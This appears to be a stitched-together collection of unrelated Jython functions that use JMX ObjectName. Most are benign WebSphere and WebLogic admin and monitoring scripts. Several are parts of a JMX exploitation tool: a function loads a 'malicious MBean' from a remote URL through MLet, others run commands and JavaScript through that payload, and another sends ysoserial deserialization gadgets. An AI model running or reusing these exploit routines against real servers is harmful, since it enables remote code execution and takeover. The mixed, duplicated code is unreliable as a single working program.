def _makeNames(conn, config): """Generate the names of objects to query and their attibutes. Yield ----- objectName : `str` Name of the object. attributes : `lsit` Names of attributes for this object. """ all_metrics = defaultdict(set) # get the list of objects and attributes to monitor all_names = list(conn.queryNames(ObjectName("*:*"), None)) for metrics in config["metrics"]: objectName = metrics["object"] logging.debug("querying object %s", objectName) # names = conn.queryNames(objectName, None) for oname in all_names: if not objectName.apply(oname): continue info = conn.getMBeanInfo(oname) logging.debug("checking %s", oname) attributes = set() for attr in info.attributes: if metrics["attributes"].match(attr.name): attributes.add(attr.name) logging.debug(" %s matches", attr.name) if attributes: all_metrics[str(oname)] |= attributes for oname, attributes in all_metrics.items(): yield oname, list(attributes)
def _read_config(yaml_path): """Read configuration from YAML file. YAML should look like: metrics: - object: domain:pattern # this is in format accepted by ObjectName attributes: .* # this is regular expression - object: domain2:* attributes: attr.* Parameters ---------- yaml_path : `str` Path to configuration file """ with open(yaml_path) as input: config = yaml.load(input, Loader=yaml.FullLoader) logging.debug("config: %r", config) if "metrics" not in config: config["metrics"] = [dict(object="*:*", attributes=".*")] for cfg in config["metrics"]: cfg["object"] = ObjectName(cfg["object"]) cfg["attributes"] = re.compile(cfg.get("attributes", ".*")) return config
def installMBeans(args, bean_server, full_mlet_url): # Installation, load javax.management.loading.MLet to install additional MBeans # If loading fails, the Mlet is already loaded... try: mlet_bean = bean_server.createMBean("javax.management.loading.MLet", None) except: # MLet Bean can't be created because it already exists mlet_bean = bean_server.getObjectInstance(ObjectName("DefaultDomain:type=MLet")) print "[+] Loaded " + str(mlet_bean.getClassName()) # Install payload Mlet via getMbeansFromURL # pass the URL of the web server print "[+] Loading malicious MBean from " + full_mlet_url print "[+] Invoking: "+ mlet_bean.getClassName() + ".getMBeansFromURL" inv_array1 = jarray.zeros(1, Object) inv_array1[0] = full_mlet_url inv_array2 = jarray.zeros(1, String) inv_array2[0] = String.canonicalName resource = bean_server.invoke(mlet_bean.getObjectName(), "getMBeansFromURL", inv_array1, inv_array2) # Check if the Mlet was loaded successfully for res in resource: if res.__class__.__name__ == "InstanceAlreadyExistsException": print "[+] Object instance already existed, no need to install it a second time" elif res.__class__.__name__ == "ObjectInstance": print "[+] Successfully loaded " + str(res.getObjectName())
def queryWAS(self, adminClient, query="WebSphere:*"): """Add the given WasObject instance to this container. PARAMETERS: adminClient - an instance of the pylib.Was.AdminClient class query - something like: WebSphere:*:type=Server,* or *:node=Node1,type=Server,* or *:type=JVM,process=server1,node=Node1,* or *:process=server1,* or *:process=server1,node=Node1,* or any combination of type The resource type that the MBean represents name The name identifier for the individual instance of the MBean cell The name of the cell in which the MBean is executing node The name of the node in which the MBean is executing process The name of the process in which the MBean is executing RETURN: A list of javax.management.ObjectName's. """ self.objectNames = list() try: #objName = ObjectName( "WebSphere:*" ) objName = ObjectName(query) objNameSet = adminClient.connection.queryNames(objName, None) #print dir( objNameSet ) iter = objNameSet.iterator() while iter.hasNext(): myObject = iter.next() #self.objectNames.append( ObjectName( myObject.toString() ) ) #print dir( myObject ) self.objectNames.append(myObject) #Endwhile #self.sortData() # Too slow here. Do it only when asked. except Exception, e: self.logIt(__name__ + ".queryWAS(): " + str(e) + "\n") return list() # an empty list
def createODRDynamicCluster(): clusterName = dcName # don't create cluster if it already exists exist = doesClusterExist(clusterName) if (exist == "true"): print "Dynamic cluster '" + clusterName + "' already exists. Skipping its creation..." return mbean=AdminControl.queryNames("WebSphere:*,process=dmgr,type=DynamicClusterConfigManager") attrsProps = Properties() attrsProps.put("numVerticalInstances",numVerticalInstance) attrsProps.put("operationalMode",defaultMode) attrsProps.put("isolationGroup",isolationGroup) attrsProps.put("strictIsolationEnabled",strictIsolationEnabled) attrsProps.put("maxInstances",str(maxInstances)) attrsProps.put("minInstances",str(minInstances)) if (minInstances == 0): attrsProps.put("serverInactivityTime", serverInactivityTime) #memPolicy = "node_nodegroup =" #memPolicy = memPolicy + "\'" + ngName +"\'" clusterProperties = Properties() clusterProperties.put("templateName","http_sip_odr_server") print "Creating ODR dynamic cluster " + clusterName localCluster = AdminControl.invoke_jmx(ObjectName(mbean),"createODRDynamicCluster", [ngName,clusterName,attrsProps,clusterProperties], ["java.lang.String","java.lang.String","java.util.Properties","java.util.Properties"])
def changePassword(password, newpass, bean_server): # Payload execution # Load the Payload Met and invoke a method on it mlet_bean = bean_server.getObjectInstance( ObjectName("Siberas:name=payload,id=1")) print "[+] Loaded " + str(mlet_bean.getClassName()) inv_array1 = jarray.zeros(2, Object) inv_array1[0] = password inv_array1[1] = newpass inv_array2 = jarray.zeros(2, String) inv_array2[0] = String.canonicalName inv_array2[1] = String.canonicalName resource = bean_server.invoke(mlet_bean.getObjectName(), "changePassword", inv_array1, inv_array2) if str(resource) == "True": print "[+] Successfully changed password" else: print "[-] Unable to change password" sys.stdout.write("\n") sys.stdout.flush()
def executeCommand(password, cmd, bean_server, shell): # Payload execution # Load the Payload MLet and invoke a method on it mlet_bean = bean_server.getObjectInstance( ObjectName("MogwaiLabs:name=payload,id=1")) print "[+] Loaded " + str(mlet_bean.getClassName()) print "[+] Executing command: " + cmd inv_array1 = jarray.zeros(3, Object) inv_array1[0] = password inv_array1[1] = cmd inv_array1[2] = shell inv_array2 = jarray.zeros(3, String) inv_array2[0] = String.canonicalName inv_array2[1] = String.canonicalName inv_array2[2] = String.canonicalName resource = bean_server.invoke(mlet_bean.getObjectName(), "runCMD", inv_array1, inv_array2) print resource sys.stdout.write("\n") sys.stdout.flush()
def uninstallMBeans(bean_server): try: bean_server.unregisterMBean(ObjectName("MogwaiLabs:name=payload,id=1")) except: print "[-] Error: The MBean is not registered in the target server" sys.exit(0) print "[+] MBean correctly uninstalled"
def get_servicebus_mbeans(conn, for_update): global domain_service, alsb_core, service_conf_mbean, session_mgmt_mbean global service_security_conf_mbean, xacmlauth, default_auth, pipeline_conf_mbean domain_service = MBeanServerInvocationHandler.newProxyInstance( conn, ObjectName(DomainRuntimeServiceMBean.OBJECT_NAME)) sec_config = domain_service.getDomainConfiguration( ).getSecurityConfiguration() default_auth = sec_config.getDefaultRealm().lookupAuthenticationProvider( 'DefaultAuthenticator') session_mgmt_mbean = domain_service.findService( SessionManagementMBean.NAME, SessionManagementMBean.TYPE, None) if for_update: session_id = '.' + session_name create_session() else: session_id = '' alsb_core = get_conf_mbean(conn, ALSBConfigurationMBean, session_id) service_conf_mbean = get_conf_mbean(conn, ServiceConfigurationMBean, session_id) pipeline_conf_mbean = get_conf_mbean(conn, PipelineConfigurationMBean, session_id) service_security_conf_mbean = get_conf_mbean( conn, ServiceSecurityConfigurationMBean, session_id) xacmlauth = service_security_conf_mbean.newAuthorizationProviderIdentifier( "XACMLAuthorizer")
def createJMSPersistentStore(jmsServerName, schemaName, migratableTargetName): storeName = "JDBCStore_" + jmsServerName # create a datasource dataSource = createJMSStoreDS(jmsServerName, schemaName) # create JDBCStore and link DataSource to it cmo = cd("/") store = getMBean("/JDBCStores/" + storeName) if (store == None): LOGGER.info("Creating JDBC Persistent Store" + storeName) store = cmo.createJDBCStore(storeName) else: LOGGER.info("JDBC Persistent Store" + storeName + " already exists") store.setDataSource(dataSource) store.setPrefixName(jmsServerName) # target JDBCStore at migraratable target (of the JMS Server) cmo = cd("/JDBCStores/" + storeName) set( 'Targets', jarray.array([ ObjectName('com.bea:Name=' + migratableTargetName + ',Type=MigratableTarget') ], ObjectName)) return store
def get_conf_mbean(conn, mbean_class, sessionId): conf_name = ObjectName("com.bea:Name=" + mbean_class.NAME + sessionId + ",Type=" + mbean_class.TYPE) mbeans = HashSet() mbeans.addAll(conn.queryNames(conf_name, None)) return MBeanServerInvocationHandler.newProxyInstance( conn, mbeans.iterator().next(), mbean_class, false)
def _run(conn, config, args): """Run monitoring loop until killed. Parameters ---------- conn : server connection instance config : `dict` Configuration dictionary args : `argparse.Namespace` Parsed command line arguments """ while not _stop: with closing(_makeOutput(args)) as out: lastRotateTime = time.time() while not _stop: nextCycle = int(time.time() / args.period + 1) * args.period logging.debug("sleep for %f sec", nextCycle - time.time()) while time.time() < nextCycle: interval = min(0.1, nextCycle - time.time()) if interval > 0: time.sleep(interval) if _stop: break if _stop: break for oname, attributes in _makeNames(conn, config): now = time.time() oname = ObjectName(oname) try: values = conn.getAttributes(oname, attributes) except Exception as exc: logging.error( "Failed to get attributes oname=%s attributes=%s: %s", oname, attributes, exc) continue except: # noqa logging.error( "Failed to get attributes oname=%s attributes=%s", oname, attributes) continue line = _attr2influx(oname, values, args.host) if line: ts = int(now * 1e9) print(line, ts, file=out) if args.rotate_hours is not None: # re-open output file after rotation period tdiff = time.time() - lastRotateTime if tdiff >= args.rotate_hours * 3600: logging.debug( "%f seconds since last rotation, re-opening output file", tdiff) break
def doWork(): """Do all the real work for this program.""" rVal = True rc = 0 printInfo() wasAdminClient = AdminClient(hostname="dilabvirt31-v1", logger=CONFIG['logger']) myclient = wasAdminClient.createSOAPDefault() configService = ConfigService(adminClient=myclient, logger=CONFIG['logger']) session = Session() # query to get dmgr dmgr = configService.resolve(session, "Node=cell101N2:Server=as_cell101a_01")[0] # query to get the trace service component in dmgr. #pattern = configService.configServiceHelper.createObjectName( None, "TraceService" ) pattern = ConfigServiceHelper.createObjectName(None, "TraceService") traceService = ObjectName( configService.queryConfigObjects(session, dmgr, pattern, None)[0].toString()) # get the current dmgr's trace specification. trace = configService.getAttribute(session, traceService, "startupTraceSpecification") print "trace is " + str(trace) # set the dmgr's trace specification to new value. newTrace = String("*=all=enabled") #newTrace = String( "*=info" ) attrList = AttributeList() attrList.add(Attribute("startupTraceSpecification", newTrace)) configService.setAttributes(session, traceService, attrList) newTrace = String( configService.getAttribute(session, traceService, "startupTraceSpecification")) print "new trace is " + str(newTrace) ## save the chanage. configService.save(session, False) # set it back. #configService.configServiceHelper.setAttributeValue( attrList, "startupTraceSpecification", trace ) ConfigServiceHelper.setAttributeValue(attrList, "startupTraceSpecification", trace) configService.setAttributes(session, traceService, attrList) newTrace = configService.getAttribute(session, traceService, "startupTraceSpecification") print "trace is set back to " + str(newTrace) configService.save(session, False) configService.discard(session) return rc
def startMemberServer(trustStore, trustStorePassword, mconnection, host, memberUsrDir, serverName) : print "Starting member: host=" + host + " usrDir=" + memberUsrDir + " serverName=" + serverName objectName = ObjectName(SERVER_COMMANDS_MBEAN_OBJECT_NAME) result = mconnection.invoke(objectName, "startServer", [host, memberUsrDir, serverName, ""], [jstring, jstring, jstring, jstring]) return result
def configureJmsServers(): # Create persistent stores for JMS servers jmsStoreSchemaName = pbb.properties.get("schema.name.JMS") cmo = cd("/") jmsServers = cmo.getJMSServers() mtName = "" for svr in jmsServers: startOnlineEditSession() # Get the JMS Server's name sName = svr.getName() LOGGER.info('Configuring JMS Server ' + sName) # Ensure JMS server targetted at migratable target target = svr.getTargets()[0] mtName = target.getName() # TODO - line below should maybe inspect type, not name. if (String( (String(mtName)).toLowerCase()).contains('migratable') == 0): if (target.getType() != 'MigratableTarget'): # Construct migratable target name from current (managed server) target name mtName = target.getName() + ' (migratable)' LOGGER.info('Setting migratable target for JMSServer ' + sName + ' to ' + mtName) cmo = cd('/JMSServers/' + sName) set( 'Targets', jarray.array([ ObjectName('com.bea:Name=' + mtName + ',Type=MigratableTarget') ], ObjectName)) cmo = cd('/MigratableTargets/' + mtName) if (cmo.getMigrationPolicy() == 'failure-recovery'): LOGGER.info('Migration policy for MigratableTarget ' + mtName + " already set to 'failure-recovery'") else: LOGGER.info('Setting Migration policy for MigratableTarget ' + mtName + " to 'failure-recovery'") cmo.setMigrationPolicy('failure-recovery') else: LOGGER.info('JMS Server ' + sName + ' already has a migratable target ') # Create and target JDBC persistent store for server store = svr.getPersistentStore() if (store == None or store.getType() == 'FileStore'): LOGGER.info('Creating persistent store for JMSServer ' + sName) store = createJMSPersistentStore(sName, jmsStoreSchemaName, mtName) # establish JDBCStore as store for server cmo = cd("/JMSServers/" + sName) svr.setPersistentStore(store) else: LOGGER.info('Custom persistent store for JMSServer ' + sName + ' already set ') completeOnlineEditSession()
def removeApp(trustStore, trustStorePassword, mconnection, server, host, usrdir, remoteAppDir, appFile): # Decorate the mbean connection with the routing information for the supplied server. jstring = "java.lang.String" routingCtxObjectName = ObjectName(ROUTING_CONTEXT_MBEAN_OBJECT_NAME) routingCtxObj = mconnection.invoke(routingCtxObjectName, "assignServerContext", [server, host, usrdir], [jstring, jstring, jstring]) if (routingCtxObj != True): raise EnvironmentError( "Error creating routing context to target server. The return value from invoke was: " + str(routingCtxObj)) objectName = ObjectName(FILE_TRANSFER_MBEAN_OBJECT_NAME) mconnection.invoke(objectName, "deleteFile", [remoteAppDir + "/" + appFile], ["java.lang.String"])
def rePointAppTargets(userName, password, url, properties): if connectToAdminServer(userName, password, url): try: edit() startEdit() cmo = cd('AppDeployments') i = 1 source = properties.get("migrate.target." + str(i) + ".source") while source: destination = properties.get("migrate.target." + str(i) + ".destination") destinationType = properties.get("migrate.target." + str(i) + ".type") deployments = ls(returnMap='true') for deployment in deployments: print deployment pushd(deployment + "/Targets") targets = ls(returnMap='true') newTargets = [] rePoint = False for target in targets: print("Target='" + target + "'") theTarget = target if target == source: theTarget = destination type = destinationType rePoint = True else: # find the type: pushd(target) type = get("Type") newTargets.append( ObjectName("com.bea:Name=" + theTarget + ",Type=" + type)) print("New Targets: " + str(jarray.array(newTargets, ObjectName))) if rePoint: print("Repointing targets: " + str(jarray.array(newTargets, ObjectName))) set('Targets', jarray.array(newTargets, ObjectName)) popd() i = i + 1 source = properties.get("migrate.target." + str(i) + ".source") save() activate() except Exception, e: LOGGER.severe("Caught Exception in migration : " + e) cancelEdit("y") raise e
def configureHostAccess(trustStore, trustStorePassword, mconnection, host, hostCredentialMap, newHost) : # Decorate the mbean connection with the routing information for the supplied server. routingCtxObjectName = ObjectName(ROUTING_CONTEXT_MBEAN_OBJECT_NAME) routingCtxObj = mconnection.invoke(routingCtxObjectName, "assignHostContext", [host], [jstring]) if (routingCtxObj != True): raise EnvironmentError("Error creating routing context to target host. The return value from invoke was: " + str(routingCtxObj)) objectName = ObjectName(COLLECTIVE_REGISTRATION_MBEAN_OBJECT_NAME) methodName = "updateHost" if (newHost): methodName = "registerHost" mconnection.invoke(objectName, methodName, [host, hostCredentialMap], [jstring, jmap])
def joinMemberServer(mconnection, host, memberUsrDir, memberName, wlpDir, trustStorePassword, hostAuthInfo) : # build credential Map certProps = HashMap() certProps.put(COLLECTIVE_TRUST_KEYSTORE_PASSWORD, trustStorePassword) objectName = ObjectName(COLLECTIVE_REGISTRATION_MBEAN_OBJECT_NAME) mconnection.invoke(objectName, "join", [host, memberUsrDir, memberName, wlpDir, trustStorePassword, certProps, hostAuthInfo], [jstring, jstring, jstring, jstring, jstring, jmap, jmap])
def _dump(conn): """Dump full list of metrics, Parameters ---------- conn : server connection instance """ names = list(conn.queryNames(ObjectName("*:*"), None)) names.sort(key=str) for oname in names: info = conn.getMBeanInfo(oname) print("{}".format(oname)) for attr in info.attributes: print(" {}: {}".format(attr.name, attr.type))
def deserializationMode(args): if not os.path.isfile('./jars/ysoserial.jar'): print "[-] Error: Did not find ysoserial.jar in jars directory. Please download it from https://github.com/frohoff/ysoserial and move it in the jars directory" sys.exit(1) sys.path.append("./jars/ysoserial.jar") print "[+] Added ysoserial API capacities" from ysoserial.payloads.ObjectPayload import Utils # Connect to the JMX server bean_server = connectToJMX(args) # Generate deserialization object with ysoserial.jar payload_object = Utils.makePayloadObject(args.gadget, args.cmd) # Command execution # Load default MLet java.util.logging and invoke method getLoggerLevel on it mlet_bean = bean_server.getObjectInstance( ObjectName("java.util.logging:type=Logging")) print "[+] Loaded " + str(mlet_bean.getClassName()) print "[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)" inv_array1 = jarray.zeros(1, Object) inv_array1[0] = payload_object inv_array2 = jarray.zeros(1, String) inv_array2[0] = String.canonicalName try: resource = bean_server.invoke(mlet_bean.getObjectName(), "getLoggerLevel", inv_array1, inv_array2) except: if "argument type mismatch" in str(sys.exc_info()[1]): print "[+] Got an argument type mismatch exception - this is expected" elif "Access denied! Invalid access level" in str(sys.exc_info()[1]): print "[+] Got an access denied exception - this is expected" else: print "[-] Got a " + str( sys.exc_info()[1]) + "exception, exploitation failed" sys.stdout.write("\n") sys.stdout.flush() print "[+] Done"
def sync(self): """Perform a "multiSync" on all teh nodes in the cell. PARMETERS: RETURN: True if completed or False """ self.debug( __name__ + ".sync(): Called.\n" ) rc = False iter = self.adminClient.connection.queryNames( ObjectName( "WebSphere:*,type=DeploymentManager" ), None ).iterator() while iter.hasNext(): on = iter.next() self.logIt( __name__ + ".sync(): " + on.toString() + "\n" ) self.adminClient.invoke( on, "multiSync", [Boolean( Boolean.TRUE )], ["java.lang.Boolean"] ) self.logIt( __name__ + ".sync(): Successfully synced all nodes.\n" ) rc = True #Endwhile return rc
def configureJmsServers(): # Create persistent stores for JMS servers jmsStoreSchemaName = props.get("schema.name.SOAJMS") cmo = cd("/") jmsServers = cmo.getJMSServers() mtName = "" for svr in jmsServers: # Get the JMS Server's name sName = svr.getName() LOGGER.info('Configuring JMS Server ' + sName) # Ensure JMS server targetted at migratable target target = svr.getTargets()[0] mtName = target.getName() if (target.getType() != 'MigratableTarget'): # Construct migratable target name from current (managed server) target name mtName = target.getName() + ' (migratable)' LOGGER.info('Setting migratable target for JMSServer ' + sName + ' to ' + mtName) cmo = cd('/JMSServers/' + sName) set( 'Targets', jarray.array([ ObjectName('com.bea:Name=' + mtName + ',Type=MigratableTarget') ], ObjectName)) cmo = cd('/MigratableTargets/' + mtName) if (cmo.getMigrationPolicy() == 'failure-recovery'): LOGGER.info('Migration policy for MigratableTarget ' + mtName + " already set to 'failure-recovery'") else: LOGGER.info('Setting Migration policy for MigratableTarget ' + mtName + " to 'failure-recovery'") cmo.setMigrationPolicy('failure-recovery') # Create and target JDBC persistent store for server store = svr.getPersistentStore() if (store == None or store.getType() == 'FileStore'): LOGGER.info('Creating persistent store for JMSServer ' + sName) store = createJMSPersistentStore(sName, jmsStoreSchemaName, mtName) # establish JDBCStore as store for server cmo = cd("/JMSServers/" + sName) svr.setPersistentStore(store) else: LOGGER.info('Custom persistent store for JMSServer ' + sName + ' already set ')
def get_bean(bean_server, bean, attribute): """Retrieve bean attribute from JMX Args: bean_server (obj): connection to a bean server bean (str): domain and name of the bean. Eg: java.lang:type=Memory attribute (str): attribute to retrieve. Eg: HeapMemoryUsage Returns: obj: attribute of the bean """ tmp = None objectName = ObjectName(bean); try: tmp = bean_server.getAttribute(objectName, attribute) except Exception, e: logger.warn('Cannot retrieve bean attribute. Bean: ' + bean + ' Attribute: ' + attribute + ' Error: ' + str(e)) return None
def executeJS(js, bean_server): # Payload execution # Load the Payload Met and invoke a method on it mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1")) print "[+] Loaded " + str(mlet_bean.getClassName()) print "[+] Executing script" inv_array1 = jarray.zeros(1, Object) inv_array1[0] = js inv_array2 = jarray.zeros(1, String) inv_array2[0] = String.canonicalName resource = bean_server.invoke(mlet_bean.getObjectName(), "runJS", inv_array1, inv_array2) print resource sys.stdout.write("\n") sys.stdout.flush()
def putNecessaryFilesToMember(mconnection, trustStorePath) : truststoreFile = File(trustStorePath) securityPath = truststoreFile.getParent() securityFile = File(securityPath) resourcesPath = securityFile.getParent() objectName = ObjectName(FILE_TRANSFER_MBEAN_OBJECT_NAME) mconnection.invoke(objectName, "uploadFile", [trustStorePath, memberUsrDir + os.sep + "servers" + os.sep + member + os.sep + "resources" + os.sep + "security" + os.sep + "trust.jks", False], [jstring, jstring, "boolean"]) mconnection.invoke(objectName, "uploadFile", [resourcesPath + os.sep + "collective" + os.sep + "collectiveTrust.jks", memberUsrDir + os.sep + "servers" + os.sep + member + os.sep + "resources" + os.sep + "collective" + os.sep + "collectiveTrust.jks", False], [jstring, jstring, "boolean"]) mconnection.invoke(objectName, "uploadFile", [resourcesPath + os.sep + "collective" + os.sep + "serverIdentity.jks", memberUsrDir + os.sep + "servers" + os.sep + member + os.sep + "resources" + os.sep + "collective" + os.sep + "serverIdentity.jks", False], [jstring, jstring, "boolean"])
def hasServerStarted(self): " has server started" started = False if not self.__jmxConnection: self.__createJMXConnection() if self.__jmxConnection: self.__clusterMBean = ObjectName("Coherence:type=Cluster") logger.info("Checking if Coherence cluster node has started:" + ` self.__clusterMBean `) running = self.__jmxConnection.getAttribute( self.__clusterMBean, "Running") logger.info("Coherence cluster node has started:" + ` running `) if running: logger.info( "Getting LocalMemberId attribute from cluster node:" + ` self.__clusterMBean `) self.__nodeId = self.__jmxConnection.getAttribute( self.__clusterMBean, "LocalMemberId") logger.info("Oracle Coherence Cluster LocalMemberId:" + ` self.__nodeId `) self.__nodeMBean = ObjectName("Coherence:type=Node,nodeId=" + ` self.__nodeId `) self.__attrMBean["MemoryAvailableMB"] = self.__nodeMBean self.__attrMBean["SendQueueSize"] = self.__nodeMBean self.__serviceMBean = ObjectName( "Coherence:type=Service,name=" + self.__serviceName + ",nodeId=" + ` self.__nodeId `) self.__attrMBean[ "RequestAverageDuration"] = self.__serviceMBean self.__attrMBean["RequestPendingCount"] = self.__serviceMBean self.__attrMBean["TaskAverageDuration"] = self.__serviceMBean self.__attrMBean["TaskBacklog"] = self.__serviceMBean self.__attrMBean[ "ThreadAverageActiveCount"] = self.__serviceMBean started = True return started
def createDynamicCluster(idx): suffix = "_" + str(idx) clusterName = dcName + suffix # don't create cluster if it already exists exist = doesClusterExist(clusterName) if (exist == "true"): print "Dynamic cluster " + clusterName + " already exists. Skipping its creation..." return mbean = AdminControl.queryNames( "WebSphere:*,process=dmgr,type=DynamicClusterConfigManager") attrsProps = Properties() attrsProps.put("numVerticalInstances", numVerticalInstance) attrsProps.put("operationalMode", defaultMode) attrsProps.put("isolationGroup", isolationGroup) attrsProps.put("strictIsolationEnabled", strictIsolationEnabled) attrsProps.put("maxInstances", str(maxInstances)) attrsProps.put("minInstances", str(minInstances)) if (minInstances == 0): attrsProps.put("serverInactivityTime", str(serverInactivityTime)) attrsProps.put("maxNodes", maxNodes) attrsProps.put("minNodes", minNodes) if (membershipPolicy == None): memPolicy = "node_nodegroup =" memPolicy = memPolicy + "\'" + ngName + "\'" clusterProperties = Properties() clusterProperties.put("templateName", "defaultXD") localCluster = AdminControl.invoke_jmx( ObjectName(mbean), "createDynamicCluster", [clusterName, attrsProps, clusterProperties, memPolicy], [ "java.lang.String", "java.util.Properties", "java.util.Properties", "java.lang.String" ]) else: localCluster = AdminTask.createDynamicCluster( clusterName, '[-membershipPolicy membershipPolicy -dynamicClusterProperties [[numVerticalInstances numVer] [operationalMode defaultMode] [isolationGroup isolationGroup] [strictIsolationEnabled strictIsolationEnabled] [maxInstances maxInstances] [minInstances minInstances][maxNodes maxNodes] [minNodes minNodes]]' )
def removeAsTarget(self): LOGGER.fine("Entering entities.PbWlstEntities.Server.removeTarget") pushd('/Deployments') deployments = lsmap() for deployment in deployments: print deployment pushd(deployment) pushd("Targets") targets = lsmap() newTargets = [] rePoint = False for target in targets: print("Target='" + target + "'") if target != self.name: # find the type: pushd(target) type = get("Type") newTargets.append( ObjectName("com.bea:Name=" + target + ",Type=" + type)) popd() else: rePoint = True popd() print("New Targets: " + str(jarray.array(newTargets, ObjectName))) if rePoint: print("Repointing targets: " + str(jarray.array(newTargets, ObjectName))) set('Targets', jarray.array(newTargets, ObjectName)) popd() popd() LOGGER.fine("Exiting entities.PbWlstEntities.Server.removeTarget")
def createDynamicCluster(clusterName, nodeGroupName): mbean = AdminControl.queryNames( "WebSphere:*,process=dmgr,type=DynamicClusterConfigManager") dynamicClusterProps = Properties() #dynamicClusterProps.put("numVerticalInstances",numVerticalInstance) #dynamicClusterProps.put("operationalMode",defaultMode) #dynamicClusterProps.put("isolationGroup",isolationGroup) #dynamicClusterProps.put("strictIsolationEnabled",strictIsolationEnabled) #dynamicClusterProps.put("maxInstances",maxInstances) #dynamicClusterProps.put("minInstances",minInstances) #dynamicClusterProps.put("maxNodes",maxNodes) #dynamicClusterProps.put("minNodes",minNodes) clusterProps = Properties() #clusterProps.put("templateName","defaultXD") AdminControl.invoke_jmx( ObjectName(mbean), "createODRDynamicCluster", [nodeGroupName, clusterName, dynamicClusterProps, clusterProps], [ "java.lang.String", "java.lang.String", "java.util.Properties", "java.util.Properties" ]) AdminConfig.save() print "Created ODR dynamic cluster '" + clusterName + "' on nodes in node group '" + nodeGroupName + "'"